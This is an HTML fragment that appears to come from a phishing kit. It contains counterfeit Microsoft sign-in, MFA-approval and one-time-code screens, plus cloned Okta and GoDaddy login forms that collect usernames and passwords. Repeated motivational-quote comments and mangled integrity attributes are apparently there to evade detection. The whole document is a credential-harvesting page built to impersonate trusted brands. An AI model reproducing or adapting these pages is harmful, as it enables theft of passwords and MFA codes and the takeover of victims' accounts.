            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
            </div>
        </div>
<!-- Never give in except to convictions of honor and good sense. -->
    </section>

<!-- The starting point of all achievement is desire. -->
    <section id="section_authcall" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                <button class="back" onclick="backbtn()">
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            <h2 class="title mb-16">Approve sign in request</h2>
            <img class="tile-img small" role="presentation" id="authcallimg" src="/wxY9QFyk6R32e8jDZJbmjHEzrsENFut3KCC8y2uXAab180">
            <div id="authcalldesc" class="form-group"></div>
            <div id="error_authcall" class="error"></div>
            <div class="bottomsection"></div>
<!-- Your time is limited, don&#039;t waste it living someone else&#039;s life. -->
            </div>
        </div>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
    </section>

    <section id="section_confirmemail" class="d-none">
<!-- <div>Great leaders inspire action.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Your time is limited, don&#039;t waste it living someone else&#039;s life.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
                <button class="back" onclick="backbtn()">
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
            </div>
            <h2 class="title mb-16">Verify your email</h2>
            <div id="verifyemaildesc" class="form-group"></div>
            <div id="error_verifyemail" class="error"></div>
<!-- Success is where preparation and opportunity meet. -->
            <input id="inp_confirmemail" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
            <div class="bottomsection"></div>
            <button class="btn" id="btn_confirmemail">Send Code</button>
            </div>
<!-- <div>Success in business requires training, discipline, and hard work.</div> -->
        </div>
    </section>

    <section id="section_protectaccount" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The biggest risk is not taking any risk. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
                <div class="dot-floating"></div>
<!-- Try not to become a man of success. Rather become a man of value. -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>Great leaders inspire action.</div> -->
                <button class="back" onclick="backbtn()">
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
<!-- <div>Persistence is the key to achieving great things.</div> -->
            <h2 class="title mb-16">Help us protect your account</h2>
            <div id="protectaccountdesc" class="form-group"></div>
            <div id="error_protectaccount" class="error"></div>
<!-- <div>The secret of getting ahead is getting started.</div> -->
            <div id="protectaccountoptions" role="radiogroup"></div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_protectaccount" onclick="protectsend(this)">Send Code</button>
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
            </div>
        </div>
    </section>
<!-- The biggest risk is not taking any risk. -->

    <section id="section_otp" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
            </div>
            <div class="sectioncontent">
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
                </button>
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Enter code</h2>
            <div class="row text-body">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <img class="tile-img small" role="presentation" id="otpimg" src="/rsJQu3KenRmt9rFZLglKa73UcYXijZ9GzcjQhGxD544Tnm1NQTQSRef200">
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            <div id="otpdesc" class="text-block-body overflow-hidden form-group"></div>
            <div id="error_otp" class="error"></div>
<!-- <div>Trust is the foundation of any relationship.</div> -->
            </div>
            <input id="inp_otpcode" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
            
            <label class="has-checkbox d-none">
                <input type="checkbox" class="checkbox" />
                <span>Don't ask me again on this device</span>
            </label>
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
            <div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_verifyotp">Verify</button>
<!-- The only place where success comes before work is in the dictionary. -->
            </div>
            </div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
        </div>
    </section>

    <section id="section_confirmemailorphone_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- I find that the harder I work, the more luck I seem to have. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- Stop chasing the money and start chasing the passion. -->
            </div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
            <h2 class="title mb-16" id="confirmemailorphone_live_title">Verify your email</h2>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            <div id="confirmemailorphone_livedesc" class="form-group"></div>
            <div id="error_confirmemailorphone_live" class="error"></div>
            <input id="confirmemailorphone_live_hidden" type="hidden" value="">
            <input id="inp_confirmemailorphone_live" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
            <div class="bottomsection"></div>
<!-- Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better. -->
            <button class="btn btn-small" id="btn_confirmemailorphone_live" onclick="twofalive(this)">Send Code</button>
            </div>
        </div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
    </section>

    <section id="section_otp_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                <div class="dot-floating"></div>
            </div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- The only place where success comes before work is in the dictionary. -->
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Enter code</h2>
            <div class="row text-body">
            <img class="tile-img small" role="presentation" id="otpliveimg" src="/rsJQu3KenRmt9rFZLglKa73UcYXijZ9GzcjQhGxD544Tnm1NQTQSRef200">
            <div id="otp_livedesc" class="text-block-body overflow-hidden form-group"></div>
<!-- <div>Success is where preparation and opportunity meet.</div> -->
            <div id="error_otp_live" class="error"></div>
            </div>
            <input id="inp_otp_live" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
            
            <label class="has-checkbox d-none">
                <input type="checkbox" class="checkbox" />
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
                <span>Don't ask me again on this device</span>
            </label>
<!-- If you really look closely, most overnight successes took a long time. -->
            <div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_verifyotp_live" onclick="twofalive(this)">Verify</button>
            </div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </div>
        </div>
    </section>

<!-- Stop chasing the money and start chasing the passion. -->
    <section id="section_authapp_live" class="d-none">
        <div class="auth-wrapper">
<!-- Innovation distinguishes between a leader and a follower. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success seems to be connected with action. Successful people keep moving.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>Quality is not an act; it is a habit.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- The customer is always right. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- <div>Success is not in what you have, but who you are.</div> -->
                    <img src="/uvkrygEh878lD0mgFIGqrlQvfU6d8sjDfK5s12130"/>
                </button>
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
            <div class="row text-body">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            <div id="authapp_livedesc" class="text-block-body overflow-hidden text-m">Open the Microsoft app (such as Authenticator or Outlook) you use for approving sign-in requests and approve request <span id="authapp_live_code"></span>.</div>
            <div id="error_authapp_live" class="error"></div>
            </div>
            <label class="mb-16 has-checkbox">
                <input type="checkbox" class="checkbox" style="width: 29px;bottom: 10px;position: relative;"/>
<!-- <div>Trust is the foundation of any relationship.</div> -->
                <span>I sign in frequently on this device. Don't ask me to approve requests here.</span>
            </label>
            <div>
<!-- The only place where success comes before work is in the dictionary. -->
            <div class="bottomsection"></div>
            </div>
            </div>
        </div>
<!-- <div>Every problem is an opportunity in disguise.</div> -->
    </section>

    <section id="section_signin_blocked_live" class="d-none">
<!-- <div>The secret of getting ahead is getting started.</div> -->
        <div class="auth-wrapper">
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Sign in</h2>
<!-- Success is not in what you have, but who you are. -->
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="signin_blocked_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">You've tried to sign in too many times with an incorrect account or password.</div>
            <div class="text-block-body form-group overflow-hidden no-margin-top">Sign-in with <span id="signin_blocked_live_email" style="font-weight: bold;"></span> is blocked for one of these reasons:
            </div>
            <div id="signin_blocked_reason" class="text-block-body form-group overflow-hidden no-margin-top">Someone entered the wrong password too many times.
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
            </div>
<!-- <div>If you really look closely, most overnight successes took a long time.</div> -->
            <div class="text-block-body form-group overflow-hidden no-margin-top">If you signed up for this account through an organization, you might not be able to use it yet.</div>
            <div class="signin_blocked_livebottom">
            <div class="bottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
            </div>

<!-- <div>Success is not in what you have, but who you are.</div> -->
            </div>
            <div class="bottomsection">
            </div>
<!-- <div>Leadership is not about being in charge, it&#039;s about taking care of those in your charge.</div> -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- Action is the foundational key to all success. -->
    </section>

    <section id="section_protect_account_live" class="d-none">
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>Innovation distinguishes between a leader and a follower.</div> -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Let's protect your account</h2>
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="protect_account_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">To ensure your account remains protected, we recommend logging in with a different account when you encounter verification issues. This helps maintain seamless access without requiring additional security info, such as an alternate email address.</div>
            <div class="protect_account_livebottom">
            <div class="bottomoption form-group">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
            </div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->

            </div>
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
        </div>
    </section>
<!-- The starting point of all achievement is desire. -->

    <section id="section_final" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Success is not in what you have, but who you are.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
            </div>
<!-- Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better. -->
            <h2 class="title mb-16">Stay signed in?</h2>
            <p class="p">Stay signed in so you don't have to sign in again next time.</p>
            <label class="has-checkbox">
                <input type="checkbox" class="checkbox" />
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                <span>Don't show this again</span>
            </label>
            <div class="btn-group">
                <button class="btn btn-sec btn_final">No</button>
                <button class="btn btn_final">Yes</button>
<!-- Opportunities don&#039;t happen, you create them. -->
            </div>
            </div>
        </div>
<!-- <div>Success is where preparation and opportunity meet.</div> -->
    </section>


<footer id="footer" class="footer">
    <a href="javascript:void(0)">Terms of use</a>
    <a href="javascript:void(0)">Privacy & cookies</a>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
    <span>.&nbsp;.&nbsp;.</span>
</footer>
<!-- Action is the foundational key to all success. -->

<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
</div>


<!-- Effective communication is the key to success. -->



<div id="sections_okta" class="websitesections d-none">
    <link id="okta_css1" href="https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" xintegrity="sha384-s4VmJS0LKpE1WfmPdAkU95ZUvAyV4VjfkpSF6d43LR0Yjt5WTPiZVBy3ed4EYneO" rickorigin="anonymous">
    <link id="okta_css2" href="https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css" rel="stylesheet" type="text/css">
<!-- I find that the harder I work, the more luck I seem to have. -->
    <div class="auth okta-container">
      <div id="login-bg-image" class="login-bg-image tb--background bgStyle" data-se="login-bg-image"></div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
      <div class="content">
        <div class="applogin-banner">
          <div class="applogin-background"></div>
          <div class="applogin-container">
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <h1>
              <span class="applogin-app-title"> Connecting to</span>
              <div class="applogin-app-logo">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
                <img src="https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7" alt="Student" class="logo office365">
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
              </div>
            </h1>
<!-- Success is getting what you want, happiness is wanting what you get. -->
            <p>Sign in with your account to access Office 365</p>
          </div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
        </div>
<!-- Your time is limited, don&#039;t waste it living someone else&#039;s life. -->
        <div id="signin-container">
          <main data-se="auth-container" tabindex="-1" id="okta-sign-in" class="auth-container main-container can-remove-beacon" style="">
            <div class="okta-sign-in-header auth-header">
<!-- A satisfied customer is the best business strategy of all. -->
              <div data-type="beacon-container" class="beacon-container" style="transform: scale(1); text-indent: 1px;">
                <div class="js-security-beacon">
                  <div class="beacon-blank">
                    <div class="radial-progress-bar">
                      <div class="circle left"></div>
                      <div class="circle right"></div>
<!-- The road to success and the road to failure are almost exactly the same. -->
                    </div>
                  </div>
                  <div aria-live="polite" role="img" class="bg-helper auth-beacon auth-beacon-security undefined-user" data-se="security-beacon">
<!-- Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better. -->
                    <span class="accessibility-text"></span>
                    <div class="okta-sign-in-beacon-border js-auth-beacon-border"></div>
                  </div>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
                </div>
              </div>
            </div>
<!-- <div>If you really look closely, most overnight successes took a long time.</div> -->
            <div class="auth-content">
              <div class="auth-content-inner">
                <div class="primary-auth">
<!-- Success is not in what you have, but who you are. -->
                  <form name="f1" id="i0281" novalidate="" spellcheck="" method="post" target="_top" autocomplete="off" class="primary-auth-form o-form o-form-edit-mode">
                    <div data-se="o-form-content" class="o-form-content o-form-theme clearfix">
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
                      <h2 data-se="o-form-head" class="okta-form-title o-form-head">Sign In</h2>
                      <div class="o-form-error-container o-form-has-errors" style="display: none;"><div><div class="okta-form-infobox-error infobox infobox-error" role="alert"><span class="icon error-16"></span><p></p></div></div></div>
                      <div class="o-form-fieldset-container" data-se="o-form-fieldset-container">
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-5">
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
                            <label for="okta-signin-username">Username</label>
                          </div>
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-username" class="o-form-input-name-username o-form-control okta-form-input-field input-fix">
                              <input type="email" placeholder="" id="i011e" class="okta" value="" aria-label="" autocomplete="username" aria-required="true" required="">
<!-- <div>It always seems impossible until it&#039;s done.</div> -->
                            </span>
                          </div>
                        </div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-30">
                          <div data-se="o-form-label" class="okta-form-label o-form-label">
                            <label for="okta-signin-password">Password</label>
<!-- <div>Trust is the foundation of any relationship.</div> -->
                          </div>
                          <div data-se="o-form-input-container" class="o-form-input">
                            <span data-se="o-form-input-password" class="o-form-input-name-password o-form-control okta-form-input-field input-fix">
                              <input type="password" placeholder="" id="oktapassword" class="okta" value="" aria-label="" autocomplete="current-password" aria-invalid="false" aria-required="true" required="">
<!-- Success in business requires training, discipline, and hard work. -->
                            </span>
                            <p id="input-container-error55" class="okta-form-input-error o-form-input-error o-form-explain" role="alert" style="display: none;"><span class="icon icon-16 error-16-small" role="img" aria-label="Error"></span>Please enter a password</p>
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
                          </div>
                        </div>
                        <div data-se="o-form-fieldset" class="o-form-fieldset o-form-label-top margin-btm-0">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
                          <div data-se="o-form-input-container" class="o-form-input">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                            <span data-se="o-form-input-remember" class="o-form-input-name-remember">
                              <div class="custom-checkbox">
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                                <input type="checkbox" name="remember" id="input41">
                                <label for="input41" data-se-for-name="remember">Remember me</label>
                              </div>
                            </span>
                          </div>
                        </div>
<!-- Never give in except to convictions of honor and good sense. -->
                      </div>
                    </div>
<!-- Success is not in what you have, but who you are. -->
                    <div class="o-form-button-bar">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                    <input class="button button-primary" target="_parent" type="button" value="Sign In" id="oktasignin">
                    </div>
                  </form>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                  <div class="auth-footer">
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
                    <a href="javascript:void(0)" data-se="needhelp" aria-expanded="false" aria-controls="help-links-container" class="link help js-help">Need help signing in?</a>
                  </div>
<!-- Success seems to be connected with action. Successful people keep moving. -->
                </div>
              </div>
            </div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
          </main>
        </div>
<!-- Your time is limited, don&#039;t waste it living someone else&#039;s life. -->
      </div>
      <div class="footer">
        <div class="footer-container clearfix">
          <p class="copyright">Powered by <a href="https://www.okta.com/?internal_link=wic_login" class="inline-block notranslate">Okta</a>
<!-- <div>Success seems to be connected with action. Successful people keep moving.</div> -->
          </p>
          <p class="privacy-policy">
            <a href="https://www.okta.com/privacy" target="_blank" class="inline-block margin-l-10">Privacy Policy</a>
          </p>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
        </div>
      </div>
    </div>
</div>

<!-- Stop chasing the money and start chasing the passion. -->
<div id="sections_godaddy" class="websitesections d-none">

<div class="brand-header see-change-bar">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
  <div class="container-fltoken">
    <div class="flex-row d-flex">
      <div class="see-change-bar-left d-flex">
<!-- Try not to become a man of success. Rather become a man of value. -->
        <div class="topnav-logo-wrap">
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
          <a href="https://www.godaddy.com/" target="_self" data-eid="uxp.hyd.utility_bar.logo.link.click" class="topnav-logo">
            <figure class="go-logo mobile-logo" aria-label="GoDaddy">
<!-- The way to get started is to quit talking and begin doing. -->
              <figcaption class="sr-only">GoDaddy</figcaption>
              <img id="header-logo" src="/ijBvLEm7bQ37PJEZMmOit9MBsiKrZNQgbdaeRlKbjRmnRoxiEijt3XLoa1UOn3ef210">
<!-- <div>The biggest risk is not taking any risk.</div> -->
            </figure>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
          </a>
        </div>
      </div>
<!-- Success is where preparation and opportunity meet. -->
      <div class="see-change-bar-right justify-content-end"></div>
    </div>
  </div>
</div>

<div id="root">
<!-- Leadership is not about being in charge, it&#039;s about taking care of those in your charge. -->
 <div class="LoginPageStyles__LoginWrapper-sc-pvsjk8-0 kLiWvU">
  <img src="/oprQMAAUZqyNySiBBfCzuykwNv812canzcRLBY8bklHwnLuKkXu0pfQ8rf4Qef240" id="godaddy-left-logo" style="">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
  <div class="FormPage__Container-sc-1b51r8o-0 zfCle container">
    <div class="row d-flex justify-content-sm-end">
<!-- Success is how high you bounce when you hit bottom. -->
      <div class="FormPageColumn__Container-sc-uwin2-0 ixbTgw col col-xs-12 col-sm-10 col-lg-6">
        <div id="login-container">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
          <div id="login-panel" class="ssodeck-framable-content">
            <div>
              <div id="new-ux" class="card ux-card form-container fs-unmask">
                <div class="card-block  pass ">
                  <div></div>
                  <div id="form-header" class="pass-form-header">
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
                    <div id="pass-template" class="">
                      <div class="logo-container-pass-o365 top-spacer">
                        <img src="/stDtpvBntAjbhqGBcymf4c3iMRh4n2G67sSql0ydLn3qiUipF7z6PCgh260" id="o365-logo" class="img-responsive">
                      </div>
                    </div>
                  </div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
                  <div id="form-container" class="">
                    <div id="login-status-message" style="display: none;">
                      <div>
                        <div class="ux-space ux-dialog-shell ux-alert ux-alert--critical ux-text ux-dialog--contrast ux-dialog--stretch ux-space--as-block ux-space--inline ux-space--block" aria-labelledby="login-failure-alert" role="alert" dismissible="false">
                          <div class="ux-dialog-icon">
                            <svg class="uxicon-svg-container ux-dialog-accessory--critical" height="1.5em" width="1.5em" role="presentation">
<!-- <div>The secret of getting ahead is getting started.</div> -->
                              <use fill="currentColor" xlink:href="#svg-container-alert"></use>
                            </svg>
                          </div>
                          <div class="ux-dialog-details">
                            <div id="login-failure-alert" class="ux-dialog-title"></div>
                            <div id="godaddyloginfailurerror" class="ux-dialog-content"></div>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
                          </div>
                        </div>
                      </div>
                    </div>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                    <h2 id="pass-title">Sign in</h2>
                    <div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
                      <div id="username-container">
                        <div class="ux-text-input-shell">
                          <div class="ux-field-frame ux-field-frame--stretch">
                            <div class="ux-text-entry-shell ux-text ux-text-input">
                              <label class="ux-label ux-label--internal ux-label--floating" for="username">Email <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
                              </label>
<!-- Success usually comes to those who are too busy to be looking for it. -->
                              <input class="ux-text-entry-field" id="godaddyemail" aria-invalid="false" aria-required="true" type="text" aria-describedby="">
                            </div>
                          </div>
                        </div>
                      </div>
                      <div id="password-container">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                        <div class="ux-text-input-shell">
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
                          <div class="ux-field-frame ux-field-frame--stretch">
                            <div class="ux-text-entry-shell ux-text ux-text-input">
                              <label class="ux-label ux-label--internal" for="password">Password <span class="ux-text ux-label-required ux-text-feedback-critical" aria-hidden="true">*</span>
                              </label>
                              <input class="ux-text-entry-field" id="godaddypassword" aria-invalid="false" aria-required="true" type="password" aria-describedby="" value="">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                            </div>
                          </div>
                          <p class="ux-text ux-text-caption ux-text-feedback-critical" id="godaddypassword-error" role="alert" style="display: none;">Password is required</p>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
                        </div>
                        <button class="ux-button show-hide-btn inline-show-hide-btn ux-text ux-text-size0 ux-button-inline" target="_parent" type="button" onclick="togglepassword(this)" aria-label="Show password">
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                          <span class="ux-button-text">Show</span>
                        </button>
                      </div>

                      <div id="remember-me-container" class="input-container">
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
                        <div class="ux-text ux-checkbox-shell ux-text-input">
                          <span class="ux-checkbox-lineheightbox" data-lineheight="I">
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
